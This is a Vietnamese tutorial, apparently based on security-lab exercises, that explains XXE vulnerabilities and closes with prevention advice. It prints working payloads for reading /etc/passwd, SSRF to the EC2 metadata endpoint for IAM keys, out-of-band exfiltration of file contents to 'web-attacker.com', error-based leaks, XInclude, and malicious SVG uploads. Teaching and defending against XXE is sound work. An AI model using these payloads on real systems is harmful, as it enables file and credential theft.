# XML External Entity (XXE) ## XXE là gì? XXE (XML External Entity) là một loại tấn công tấn công mà hacker sử dụng các external entity trong tài liệu XML để tạo ra các cuộc tấn công tới hệ thống hoặc để truy cập vào dữ liệu bảo mật. XXE có thể sử dụng để thực hiện các cuộc tấn công với mục đích khác nhau như abitrary file read(LFI), SSRF. ## Lí do xảy ra lỗi XXE Một số ứng dụng sử dụng định dạng XML để có thể vận chuyển data giữa server và browser. Việc sử dụng XML thường là do web application sử dụng một thư viện nào đó, vận chuyển các file config hoặc là các API platform để xử lí các data XMl ở phía server. Lỗi XXE xảy ra do trong thành phần của một file XML có chứa những feature nguy hiểm, và những parser mặc định thường hỗ trợ những chức năng nguy hiểm này kể cả khi nó không sử dụng. ## Các thành phần cần chú ý ở trong file XML ### XML là ngôn ngữ đánh dấu mở rộng, gần tương tự với HTML, chỉ khác là HTML dùng để trình bày giao diện ra trang web, còn XML sử dụng để transfer data. ![](https://i.imgur.com/scRNX6n.png) Cấu trúc của file bao gồm + `<?xml version="1.0"?>` : Ở đây là meta để khai báo XML + `<Person></Person>` : Root node + `<Name></Name>` và `<Age></Age>` : Children node Lưu ý là nội dung của các ENTITY không nên có những kí tự đặc biệt như là `< > " '& ` bởi vì nó sẽ làm phá vỡ đi cấu trúc của một file XML. Để có thể sử dụng những từ đó, chúng ta cần phải sử dụng những built-in entity chẳng hạn như là dấu `<` thì mình sử dụng `&lt;` ![](https://i.imgur.com/TWoIsnU.png) ### Entities Có thể coi các entity là một biến để lưu trữ dữ liệu vậy, chúng ta có thể khai báo nó một lần, gán giá trị vào cho nó và sử dụng ở trên toàn bộ file XML. Các entity chỉ có thể được khai báo ở DTD (Document Type Definition) ### Document Type Definition(DTD) XML DTD chứa các khai báo (declaraion) nhằm dựng nên cấu trúc của một file XML, loại dữ liệu hoặc là các item khác. DTD được khai báo với DOCTYPE elemt ở đầu file XML. DTD có thể tự định nghĩa ở trong chính file XML (Internal DTD) hoặc có thể được load ở ngoài (External DTD). ![](https://i.imgur.com/rTwkgeu.png) ### XML Custom Entity XML cho phép chúng ta tự tạo nên một custom entity được khai báo ở trong DTD ![](https://i.imgur.com/5akOPHf.png) Ở đây chúng ta đã khai báo một entity tên gọi myentity với giá trị là "my entity value", vì vậy ở những node thì nếu chúng ta chèn entity myentity thì sẽ cần ghi ra là &myenity; ### XML External Entity External Entity là một loại custom entity mà giá trị của nó load ở bên ngoài DTD. Ở đây nó sẽ ảnh hưởng đến bảo mật của trang web bởi vì giá trị của một external entity có thể là đường dẫn của một file hoặc URL. ## Các loại tấn công XXE ### Đọc file ![](https://i.imgur.com/2gIEEMm.png) Ở đây có một request POST đến product stock API để có thể lấy được số lượng hàng còn tại, data được submit dưới dạng XML nên mình thử exploit XEE Ở đây sẽ khai báo một ENTITY xxe với giá trị là path tới file /etc/passwd Tiếp theo đó mình sẽ đem ENTITY xxe đó bỏ vào node productID, response sẽ trả về content của file passwd. Lưu ý là nên thử đem ENTITY đó bỏ vào từng node để test để xem Web sẽ in ra response bằng node nào. ![](https://i.imgur.com/2iXESfM.png) ### Tấn công SSRF bằng XXE Ở đây thay vì mình sử dụng XXE để đọc file thì mình sẽ dùng nó để có thể SSRF vào đọc thông tin nhạy cảm, cụ thể ở lab này thì sẽ đọc được IAM secret key từ EC2 metadata endpoint. URL thường thấy để đến file secret là http://169.254.169.254/latest/meta-data/iam/security-credentials/ Truy cập vào đó là sẽ lấy được secret key của admin ![](https://i.imgur.com/E8Xjgr1.png) ### Blind XXE bằng OOB Ở đây nếu mà website không response về nội dung của file XML thì chúng ta có thể dùng cách OOB Blind, ở đây mình sẽ để server send một HTTP request tới burp collaborator của mình. ![](https://i.imgur.com/ICy6uHb.png) ![](https://i.imgur.com/czmr07a.png) ### Blind XXE OOB bằng cách sử dụng XML parameter entity Nếu chương trình block regular entity thì mình sẽ sử dụng cách khác là parameter entity, payload sẽ là như này ![](https://i.imgur.com/D2ZuOJB.png) ### Lấy thông tin bằng cách blind XXE OOB 2 lab ở trên là để cho mình kiến thức để có thể tấn công XXE nhằm đọc file trong hệ thống. Để exploit được cách thức này thì attacker cần phải host một file DTD ở ngoài Bình thường thì ý tưởng chúng ta sẽ như này: ```xml= <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; ``` Ở đây parameter entity file sẽ trỏ đến file /etc/hostname, tiếp đó là parameter entity eval sẽ dùng để tạo một entity mới tên là exfiltrate để send một http request tới server của attacker trong đó URL sẽ gồm có parameter hostname = nội dung của file hostname. Nhưng điều này sẽ gây ra lỗi bởi vì theo quy ước thì trong một internal DTD thì một parameter entity không thể reference ở trong một markup tag được, cụ thể là ở trong khai báo entity, cũng có thể hiểu là một entity thông thường (entity xxe) thì không thể referece được parameter entity file, muốn reference thì phải reference với entity cùng level. Vì vậy chúng ta cần phải khai báo thằng exfiltrate này thành một parameter luôn, để có thể "cùng level". ```xml= <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> %eval; %exfiltrate; ``` Nên lưu ý rằng dấu % để khai báo parameter entity ở đây cần phải sử dụng pre-defined entity tại vì nếu không sẽ làm vỡ đi cấu trúc của file XML. Ở bên web application thì mình sẽ load external entity này vào với payload như này ![](https://i.imgur.com/4TeHMJf.png) Ở đây sẽ load được DTD và gọi thằng xxe ra thì mình sẽ nhận được hostname ![](https://i.imgur.com/XnKCKEu.png) Trong trường hợp mà lab không cấm sử dụng regular entity thì mình có thể sử dụng cách làm như này, kết quả như nhau ![](https://i.imgur.com/4OOcj1P.png) ![](https://i.imgur.com/BrqSgbg.png) Ý tưởng là lấy từ đây : ![](https://i.imgur.com/M3nDSwh.png) ### Error based XXE Ở đây mình cũng có thể exploit XXE thông qua tin nhắn error. Cách này được sử dụng khi trang web có trả về tin nhắn lỗi mà không in ra response. Payload sẽ là như này ```xml= &lt;!ENTITY % file SYSTEM &quot;file:///etc/passwd&quot;&gt; &lt;!ENTITY % eval &quot;&lt;!ENTITY &amp;#x25; error SYSTEM 'file:///nonexistent/%file;'&gt;&quot;&gt; %eval; %error; ``` Ở đây mình khai báo một parameter entity file để lấy file /etc/passwd, tiếp đó là một parameter entity eval để tạo ra một entity error nhằm in ra thông báo lỗi cùng với nội dung của parameter entity file. ![](https://i.imgur.com/WBIKgbG.png) ![](https://i.imgur.com/r8ncqw1.png) ### Tấn công XInclude Một số trường hợp mà người dùng có thể input được thông tin của người dùng và trả về cho server dưới dạng SOAP backend request rồi xử lí ở SOAP backend service. Ở đây mình không thể tấn công XXE thông thường mà vì không thể inject được DTD hay Entity nào cả nên chúng ta cần phải sử dụng tới XInclude. XInclude là một phần của XML document. Ở đây để tấn công mình sẽ reference XInclude namespace rồi trỏ tới file cần đọc, payload sẽ như này ```xml= &lt;foo xmlns:xi=&quot;http://www.w3.org/2001/XInclude&quot;&gt; &lt;xi:include parse=&quot;text&quot; href=&quot;file:///etc/passwd&quot;/&gt;&lt;/foo&gt; ``` ![](https://i.imgur.com/imI6jLi.png) ### XXE attacks bằng file upload Khi trang web có chức năng upload ảnh, sau đó sẽ được xử lí ở phía server side. Cho dù có thể website chỉ cho phép upload các dạng ảnh như jpg,png thì có thể processing libary vẫn hỗ trợ xử lí file có định dạng là svg (một dạng ảnh được thể hiện bằng xml). Vậy nên chúng ta có thể upload một file ảnh svg,trong đó nội dung là một XML độc hại ``` <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> ``` Mở ảnh ra ở tab mới thì sẽ thấy được hostname ![](https://i.imgur.com/u1rCmn3.png) ## Phòng chống lỗi XXE Lỗi XXE ở các ngôn ngữ và thư viện khác nhau xảy ra là do các chức năng hỗ trợ XML có các thành phần gây ra lỗi bảo mật đó như là support external entity. Các dễ nhất và hiệu quả nhất là tắt các chức năng đó đi. Cùng với đó là nhớ tắt luôn chức năng Xinclude. Luôn nhớ đọc document về các thư viện XML bạn đang sử dụng để biết cách tắt những chắc năng không cần thiết.